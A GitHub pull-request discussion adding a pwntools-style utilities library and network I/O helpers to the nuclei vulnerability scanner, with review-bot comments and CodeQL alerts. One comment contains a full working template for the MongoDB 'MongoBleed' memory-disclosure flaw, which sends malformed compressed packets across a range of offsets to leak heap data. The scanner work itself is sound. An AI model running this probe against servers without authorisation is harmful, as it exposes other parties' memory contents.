Conversation
…methods Add new nuclei/utils JavaScript library with utility functions for: - Binary manipulation and cyclic pattern generation (pwntools-style) - Struct packing/unpacking with P8/P16/P32/P64 aliases - Encoding (Base64, Hex, URL, HTML, UTF-16) - Hashing (MD4, MD5, SHA1/256/384/512, HMAC, CRC32) - Cryptography (AES-ECB/CBC/GCM, DES, 3DES, RC4, XOR) - Compression (zlib, gzip, deflate) - Padding (PKCS7, zero padding) - Time utilities (Sleep, Unix timestamps) Enhance nuclei/net library with: - SendBytes, SendLine for improved sending - RecvUntil, RecvLine, RecvN for flexible receiving Includes comprehensive unit tests and updated TypeScript definitions.
WalkthroughAdds a new comprehensive Utils library (encoding, crypto, hash, compression, binary, padding, struct/packing, time) with tests, extends NetConn with delimiter-based I/O helpers, adds a side-effect import for libutils, narrows parser directory parsing to exclude Changes
Estimated code review effort🎯 5 (Critical) | ⏱️ ~120 minutes Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing touches
🧪 Generate unit tests (beta)
Comment |
There was a problem hiding this comment.
Actionable comments posted: 9
🤖 Fix all issues with AI agents
In `@pkg/js/libs/net/net.go`:
- Around line 336-366: RecvUntil currently accepts an empty delimiter and treats
any read error as success by returning partial data; update RecvUntil on type
NetConn to first validate that delim is non-empty and return an error if it is,
and on any c.conn.Read error return nil and the error (do not return partial
result with nil error); keep the existing deadline handling
(setDeadLine/unsetDeadLine) and the delimiter check using bytesEqual on the
trailing bytes of result.
In `@pkg/js/libs/utils/binary.go`:
- Around line 9-10: The constant patternCharset is defined but unused; either
remove it to satisfy the linter or wire it into PatternCreate. Fix by deleting
the unused declaration named patternCharset (leaving alphanumCharset intact) OR
update the PatternCreate function to reference patternCharset instead of
alphanumCharset (or accept patternCharset as the charset parameter) so the
symbol is used; ensure tests/build pass after the change.
- Around line 3-7: The current imports use math/rand which makes
GenerateRandomString and GenerateRandomBytes deterministic; replace math/rand
with crypto/rand and update those functions to use crypto/rand.Reader (e.g.,
crypto/rand.Read for bytes or crypto/rand.Int for selecting indices) so bytes
are filled from a secure source, remove any dependency on rand.Seed, and adjust
imports (drop math/rand, keep bytes/strings as needed) while preserving function
names GenerateRandomString and GenerateRandomBytes.
- Around line 67-86: The FindAllBytes function can infinite-loop or panic when
needle is empty; add a guard at the start of Utils.FindAllBytes that returns an
empty slice if len(needle) == 0 (or handle as desired) before using bytes.Index,
and ensure subsequent logic uses haystack[start:] safely; reference the function
name FindAllBytes, variables haystack, needle, start, and the bytes.Index call
when making the change.
In `@pkg/js/libs/utils/compression.go`:
- Around line 37-42: The decompressors currently ignore errors from r.Close();
capture the Close() return value and, if io.ReadAll or other prior steps did not
already return an error, return the Close() error instead. Specifically, in the
zlib case around zlib.NewReader and io.ReadAll (and likewise for the gzip and
deflate blocks at the other occurrences), store the result of io.ReadAll into a
variable (e.g., data, err), then call cerr := r.Close(); if err != nil return
nil, err; if cerr != nil return nil, cerr; otherwise return the read bytes, nil.
In `@pkg/js/libs/utils/crypto.go`:
- Around line 100-140: AESEncryptGCM and AESDecryptGCM must validate the nonce
length before calling gcm.Seal/gcm.Open to avoid a panic; after creating gcm in
each function (the cipher.NewGCM call), get the expected nonce size via
gcm.NonceSize() and return a descriptive error if len(nonce) != nonceSize (e.g.,
"invalid nonce length: got X, want Y"); apply this check in both AESEncryptGCM
and AESDecryptGCM so they mirror the IV/nonce validation used in
AESEncryptCBC/AESDecryptCBC.
In `@pkg/js/libs/utils/hash.go`:
- Around line 3-38: The md4 import from "golang.org/x/crypto/md4" used by the
MD4 and MD4Raw methods triggers staticcheck SA1019; add a targeted lint
suppression comment immediately above the import (explaining MD4 is required for
NTLM compatibility and cannot be replaced) so the linter is satisfied while
preserving the md4.New() usage in the MD4 and MD4Raw functions; ensure the
comment references SA1019 and provides the justification (NTLM requirement) and
keep the existing function implementations unchanged.
In `@pkg/js/libs/utils/padding.go`:
- Around line 14-16: Validate blockSize at the top of PKCS7 padding/unpadding
paths: in pkcs7Pad (and the corresponding unpad function used at lines ~72-76)
and in the public wrapper Utils.PKCS7Pad, check that blockSize > 0 and blockSize
<= 255; if invalid, return the input unchanged (or nil if that matches existing
semantics) instead of performing len(data) % blockSize or casting padLen to a
byte. This prevents divide-by-zero panics and overflow of the padding byte; add
the same checks to the other PKCS7 helper used in the file.
In `@pkg/js/libs/utils/utils_test.go`:
- Around line 714-724: The test TestGenerateRandomAlphanumeric triggers
staticcheck QF1001 due to a negated compound condition; to fix it, replace the
inline negated compound in the loop with a named boolean predicate (e.g.,
isAlphanumeric := (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') || (c >= '0'
&& c <= '9')) and then assert if !isAlphanumeric call t.Errorf(...) — update the
predicate usage inside TestGenerateRandomAlphanumeric that checks characters
from Utils.GenerateRandomAlphanumeric accordingly.
🧹 Nitpick comments (1)
pkg/js/devtools/tsgen/scrape.go (1)
37-42: Consider adding debug logging for observability.Silently skipping non-struct types is reasonable since interfaces like
net.Conncan't be scraped for fields. However, a debug log would aid troubleshooting without affecting normal operation.♻️ Optional: Add debug logging
// Skip interfaces (like net.Conn) - they can't be scraped for fields namedStruct, ok := typeNameObj.Type().Underlying().(*types.Struct) if !ok { // Not a struct (could be interface, etc.) - skip silently + // gologger.Debug().Msgf("Skipping non-struct type %v (underlying: %T)", typeName, typeNameObj.Type().Underlying()) return nil }
tarunKoyalwar
left a comment
There was a problem hiding this comment.
lgtm !
@dogancanbakir i think by fixing the lint error we can merge this PR
|
cool update, now we can do more research on pwn stuff :)) |
| plaintext = pkcs7Pad(plaintext, des.BlockSize) | ||
| ciphertext := make([]byte, len(plaintext)) | ||
| for i := 0; i < len(plaintext); i += des.BlockSize { | ||
| block.Encrypt(ciphertext[i:], plaintext[i:]) |
Check failure
Code scanning / CodeQL
Use of a broken or weak cryptographic algorithm High
| plaintext = pkcs7Pad(plaintext, des.BlockSize) | ||
| ciphertext := make([]byte, len(plaintext)) | ||
| mode := cipher.NewCBCEncrypter(block, iv) | ||
| mode.CryptBlocks(ciphertext, plaintext) |
Check failure
Code scanning / CodeQL
Use of a broken or weak cryptographic algorithm High
| return nil, err | ||
| } | ||
| result := make([]byte, len(data)) | ||
| c.XORKeyStream(result, data) |
Check failure
Code scanning / CodeQL
Use of a broken or weak cryptographic algorithm High
|
For example, the mongobleed template currently can now be written way more shorter id: CVE-2025-14847
info:
name: MongoDB Server - Information Disclosure (MongoBleed)
author: pussycat0x,joe-desimone,DhiyaneshDK
severity: high
description: |
Mismatched length fields in Zlib compressed protocol headers may allow
a read of uninitialized heap memory by an unauthenticated client.
reference:
- https://jira.mongodb.org/browse/SERVER-115508
- https://github.com/joe-desimone/mongobleed
metadata:
verified: true
max-request: 1
tags: cve,cve2025,mongodb,memory-leak,network,js,mongobleed
javascript:
- pre-condition: |
isPortOpen(Host, Port);
code: |
const net = require('nuclei/net');
const u = new (require('nuclei/utils').Utils)();
const DEBUG = Debug === "true";
function dbg(msg) { if (DEBUG) log(msg); }
const OP_COMPRESSED = 2012, OP_MSG = 2013, ZLIB = 0x02;
function buildMessage(docLen, bufSize) {
const bson = u.Flat(u.P32(docLen), [0x10, 0x61, 0x00, 0x01, 0x00, 0x00, 0x00]);
const opMsg = u.Flat(u.P32(0), 0x00, bson);
const compressed = u.ZlibCompress(opMsg);
const payload = u.Flat(u.P32(OP_MSG), u.P32(bufSize), ZLIB, compressed);
const header = u.Flat(u.P32(16 + payload.length), u.P32(1), u.P32(0), u.P32(OP_COMPRESSED));
return u.Flat(header, payload);
}
function hasLeak(resp) {
if (!resp || resp.length < 25) return false;
const opcode = u.U32(resp, 12);
let raw;
try {
raw = opcode === OP_COMPRESSED
? u.ZlibDecompress(resp.slice(25, u.U32(resp, 0)))
: resp.slice(16);
} catch (e) {
raw = resp.slice(25);
}
if (raw.length < 50) return false;
for (const pat of ["InvalidBSON", "bson length", "field name '"]) {
if (u.FindBytes(raw, u.StringToBytes(pat)) !== -1) return true;
}
return false;
}
const min = parseInt(MinOffset) || 20;
const max = parseInt(MaxOffset) || 8192;
let result = "";
dbg(`[mongobleed] Scanning ${min}-${max}`);
for (let docLen = min; docLen < max; docLen++) {
try {
const msg = buildMessage(docLen, docLen + 500);
const conn = net.Open('tcp', `${Host}:${Port}`);
if (!conn) continue;
conn.SetTimeout(10);
conn.SendBytes(msg);
let resp = [];
while (true) {
const chunk = conn.Recv(4096);
if (!chunk || chunk.length === 0) break;
resp = u.Flat(resp, chunk);
if (resp.length >= 4 && resp.length >= u.U32(resp, 0)) break;
}
conn.Close();
if (resp.length > 0 && hasLeak(resp)) {
dbg(`[mongobleed] LEAK at offset ${docLen}`);
result = `leak found at offset ${docLen}`;
break;
}
} catch (e) {
if (docLen === min) dbg(`[mongobleed] Error: ${e}`);
}
}
result;
args:
Host: "{{Host}}"
Port: 27017
MinOffset: 20
MaxOffset: 8192
Debug: "true"
matchers:
- type: dsl
dsl:
- "contains(response, 'leak found')"
extractors:
- type: dsl
dsl:
- responsefor full reference: https://gist.github.com/Ice3man543/e1171f7ed216485e8766a6bb4a8638e0 |
Add comprehensive
nuclei/utilsJavaScript helper librarySummary
This PR introduces a new
nuclei/utilsJavaScript library providing comprehensive utility functions for template authors writing JavaScript-based nuclei templates. The library is inspired by tools like pwntools and provides essential primitives for binary protocol exploitation, cryptographic operations, encoding/decoding, and data manipulation.Additionally, the
nuclei/netlibrary has been enhanced with convenience methods for improved network I/O operations.New
nuclei/utilsLibraryBinary & Pattern Operations
PatternCreate(length)/PatternOffset(pattern, search)- Cyclic pattern generation for buffer overflow analysisFindBytes/FindAllBytes- Search for byte patternsReplaceBytes/RepeatBytes/ReverseBytes- Byte manipulationSwapEndian16/SwapEndian32- Endianness conversionGenerateRandomString/GenerateRandomBytes- Random data generationRepeatString/PadLeft/PadRight- String manipulationStruct Packing/Unpacking (pwntools-style)
PackUint8/16/32/64LE/BE- Pack integers to bytesUnpackUint16/32/64LE/BE- Unpack bytes to integersP8/P16/P32/P64- Pwntools-style pack aliases (little-endian)P16BE/P32BE/P64BE- Big-endian pack variantsU16/U32/U64- Pwntools-style unpack aliasesConcatBytes/Flat- Combine multiple byte arraysToBytes/StringToBytes/BytesToString- Type conversionsEncoding/Decoding
URLEncode/URLDecodeHTMLEncode/HTMLDecodeHexEncode/HexDecodeBase64Encode/Base64Decode(standard, URL-safe, raw variants)UTF16LEEncode/UTF16LEDecodeUTF16BEEncode/UTF16BEDecodeHashing
MD4/MD4Raw- Required for NTLM authenticationMD5/MD5RawSHA1/SHA1RawSHA256/SHA256RawSHA384/SHA384RawSHA512/SHA512RawHMACMD5/HMACSHA1/HMACSHA256/HMACSHA512CRC32/Adler32Cryptography
AESEncryptECB/AESDecryptECBAESEncryptCBC/AESDecryptCBCAESEncryptGCM/AESDecryptGCMDESEncryptECB/DESDecryptECBDES3EncryptCBC/DES3DecryptCBCRC4EncryptXORBytes/XORSingleByteCompression
ZlibCompress/ZlibDecompressGzipCompress/GzipDecompressDeflateCompress/DeflateDecompressPadding
PKCS7Pad/PKCS7UnpadZeroPad/ZeroUnpadTime
Sleep(milliseconds)UnixTimestamp/UnixTimestampMilli/UnixTimestampNanoEnhanced
nuclei/netLibraryNew connection methods for improved network I/O:
SendBytes(data)- Send raw byte arraySendLine(data)- Send string with newline appendedRecvUntil(delimiter)- Receive data until delimiter foundRecvUntilString(delimiter)- Receive string until delimiterRecvLine()- Receive until newlineRecvN(n)- Receive exactly N bytes (alias for RecvFull)Example Usage
Files Changed
New files:
pkg/js/libs/utils/- New utils library implementation (9 files)pkg/js/generated/go/libutils/utils.go- Auto-generated bindingspkg/js/generated/ts/utils.ts- TypeScript definitionsModified files:
pkg/js/libs/net/net.go- Added new connection methodspkg/js/compiler/pool.go- Registered new utils librarypkg/js/devtools/bindgen/generator.go- Minor binding generation updatespkg/js/devtools/tsgen/scrape.go- TypeScript generation updatespkg/js/generated/ts/*.ts- Regenerated TypeScript definitionsTest Plan
pkg/js/libs/utils/utils_test.go)Summary by CodeRabbit
New Features
Developer Tools
Tests